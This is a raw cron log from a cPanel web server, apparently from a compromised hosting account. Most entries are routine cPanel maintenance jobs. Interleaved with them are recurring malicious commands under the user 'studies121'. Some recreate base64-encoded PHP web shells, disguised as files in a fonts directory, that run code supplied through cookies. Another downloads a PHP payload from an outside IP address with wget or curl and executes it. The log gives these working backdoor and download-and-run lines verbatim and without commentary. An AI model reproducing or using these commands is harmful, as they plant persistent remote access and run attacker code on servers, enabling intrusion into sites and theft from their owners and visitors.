Sep  2 00:08:01 ip-184-168-122-23 CROND[12552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:08:01 ip-184-168-122-23 CROND[12551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:09:01 ip-184-168-122-23 CROND[12638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:09:01 ip-184-168-122-23 CROND[12641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:09:01 ip-184-168-122-23 CROND[12642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:09:01 ip-184-168-122-23 CROND[12643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:09:01 ip-184-168-122-23 CROND[12640]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:10:01 ip-184-168-122-23 CROND[12752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:10:01 ip-184-168-122-23 CROND[12756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:10:01 ip-184-168-122-23 CROND[12763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:11:01 ip-184-168-122-23 CROND[12935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:11:01 ip-184-168-122-23 CROND[12936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:11:01 ip-184-168-122-23 CROND[12937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:11:01 ip-184-168-122-23 CROND[12934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:12:02 ip-184-168-122-23 CROND[13027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:12:02 ip-184-168-122-23 CROND[13028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:12:02 ip-184-168-122-23 CROND[13030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:12:02 ip-184-168-122-23 CROND[13029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:12:02 ip-184-168-122-23 CROND[13031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:13:01 ip-184-168-122-23 CROND[13125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:13:01 ip-184-168-122-23 CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:13:01 ip-184-168-122-23 CROND[13128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:13:01 ip-184-168-122-23 CROND[13126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:14:01 ip-184-168-122-23 CROND[13201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:14:01 ip-184-168-122-23 CROND[13203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:14:01 ip-184-168-122-23 CROND[13206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:14:01 ip-184-168-122-23 CROND[13204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:14:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:15:01 ip-184-168-122-23 CROND[13292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:15:01 ip-184-168-122-23 CROND[13294]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 00:15:01 ip-184-168-122-23 CROND[13300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:16:01 ip-184-168-122-23 CROND[13407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:16:01 ip-184-168-122-23 CROND[13410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:16:01 ip-184-168-122-23 CROND[13409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:16:01 ip-184-168-122-23 CROND[13413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:16:01 ip-184-168-122-23 CROND[13411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:16:01 ip-184-168-122-23 CROND[13412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:17:01 ip-184-168-122-23 CROND[13492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:17:01 ip-184-168-122-23 CROND[13494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:17:01 ip-184-168-122-23 CROND[13495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:17:01 ip-184-168-122-23 CROND[13497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:18:01 ip-184-168-122-23 CROND[13664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:18:01 ip-184-168-122-23 CROND[13666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:18:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:18:01 ip-184-168-122-23 CROND[13669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:18:01 ip-184-168-122-23 CROND[13668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:19:01 ip-184-168-122-23 CROND[13751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:19:01 ip-184-168-122-23 CROND[13753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:19:01 ip-184-168-122-23 CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:19:01 ip-184-168-122-23 CROND[13754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:20:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:20:01 ip-184-168-122-23 CROND[13848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:20:01 ip-184-168-122-23 CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:20:01 ip-184-168-122-23 CROND[13855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
